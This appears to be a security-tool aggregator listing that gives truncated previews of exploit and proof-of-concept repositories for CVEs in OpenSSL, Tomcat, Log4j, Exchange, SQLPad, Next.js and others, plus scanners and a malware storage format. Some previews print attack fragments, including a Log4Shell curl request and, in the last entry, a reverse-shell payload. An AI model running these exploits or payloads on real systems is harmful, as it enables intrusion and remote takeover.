cli v1.1307.1

Getting started with the Snyk CLI Introduction to the Snyk CLI Snyk is a developer-first, cloud-native security tool to scan and monitor your software development projects for security vulnerabilities. Snyk scans multiple content types for security issues: Snyk Open Source: Find and automatically...

guardskill

GuardSkill A repository can make your coding agent run code the moment it opens the folder. GuardSkill checks for that before you do. root@kitploit: npx guardskill . Read-only. No network calls, no telemetry, no config, no account. It reads git configuration and hook scripts, prints what it found...

CVE-2022-39066

CVE-2022-39066 Firmware details: root@kitploit: wainnerversion: BDPOSTEMF286RMODULEV1.0.0B12 crversion: CRITPOSTEMF286RV1.0.0B10 Prerequisites requests pip install requests SQL injection The vulnerability is a SQL injection present in the handler PHONEBLOCKADD in the webserver goahead binary...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel Configuration Information Scanner This tool is used to scan Pterodactyl panel instances in an attempt to retrieve their database configuration information. By exploiting a specific path traversal vulnerability, sensitive configuration data of the panel can be...

openssl_G2.5_CVE-2014-3570

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. DESCRIPTION The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, fully featured, and Open Source toolkit implementing the...

CVE-2014-5139

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. DESCRIPTION The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, fully featured, and Open Source toolkit implementing the...

Audit-BlackBox-Web-to-Root

Pentest Lab: Web and System Exploitation Chain Drupal to Root Disclaimer This project was carried out in a controlled and isolated laboratory environment for educational and academic purposes. No real infrastructure was targeted. The goal is to learn how to secure systems by understanding attack...

gibbonlms-filewrite_rce

Gibbon LMS Arbitrary File Write / RCE Vulnerability Information Arbitrary File Write in Gibbon LMS for RCE CVE-2023-45878 GibbonEdu Gibbon LMS version 25.0.1 and earlier allows Arbitrary File Write because rubricsvisualisesaveAjax.php does not require authentication. The endpoint accepts the img,...

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate This POC uses Spring / Hibernate, however a similar approach of rmi - deserialization could be used to trigger any deserialization vulnerability TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-bina...

Tomcat-CVE_2025_24813

Tomcat CVE-2025-24813 playground Exploit was forked from https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md did not work for me Content 1. ROOT.war is a minimal app with one servlet including apache-common-3.1 and spawing a session 2. ysoserial.jar taken original from ysoserial...

cve-2022-24112

Apache APISIX 2.12.1 Remote Code Execution and Docker Lab Let's clone using gitclone this repository, then we can navigate to apisix-docker/examples. In this docker-compose.yml file, we already change into image: apache/apisix:2.12.0-alpine, because the vulnerability in this version, then let's...

Node.js-CVE-2017-5941

NodeJS Insecure Deserialisation Vulnerability Demo Node.js is an open-source runtime environment used to implement server functionality in JavaScript. A specific software package within Node.js contains a vulnerable function dealing with deserialisation, that causes it to run unauthorised command...

cve-2020-0688

cve-2020-0688 I made this script for conducting CVE-2020-0688 more rapidly. It helps to improve checking the vuln, reducing hugely steps for that. Modify these inputs before running the file. url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2...

kernel: i2c: stub: Reject I2C block transfers with invalid length

A flaw was found in the Linux kernel's i2c-stub driver. A local user with access to the /dev/i2c- device can exploit this vulnerability by issuing an I2C System Management Bus SMBus input/output control ioctl command with a specially crafted block transfer length. This invalid length can cause th...

kernel: i2c: stub: Reject I2C block transfers with invalid length

A flaw was found in the Linux kernel's i2c-stub driver. A local user with access to the /dev/i2c- device can exploit this vulnerability by issuing an I2C System Management Bus SMBus input/output control ioctl command with a specially crafted block transfer length. This invalid length can cause th...

kernel: i2c: stub: Reject I2C block transfers with invalid length

A flaw was found in the Linux kernel's i2c-stub driver. A local user with access to the /dev/i2c- device can exploit this vulnerability by issuing an I2C System Management Bus SMBus input/output control ioctl command with a specially crafted block transfer length. This invalid length can cause th...

cart

CaRT Compressed and RC4 Transport The CaRT file format is used to store/transfer malware and its associated metadata. It neuters the malware so it cannot be executed and encrypts it so anti-virus software cannot flag the CaRT file as malware. Advantages FAST: CaRT is just as fast as zipping a fil...

POC-CVE-2025-55182

Escáner de CVE-2025-55182 Herramienta sencilla de línea de comandos para detectar y explotar CVE-2025-55182 RCE en React Server Components en aplicaciones Next.js. Instalación root@kitploit: chmod +x scanner.sh Uso root@kitploit: Scan with default command id ./scanner.sh -d example.com Execute...

CVE-2025-32462-32463-Detection-Script-

CVE-2025-32462-32463-Detection-Script- Critical Sudo Vulnerabilities Let Local Users Gain Root Access on Linux, Impacting Major Distros A brief description of the vulnerabilities is below - root@kitploit: CVE-2025-32462 CVSS score: 2.8 - Sudo before 1.9.17p1, when used with a sudoers file that...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...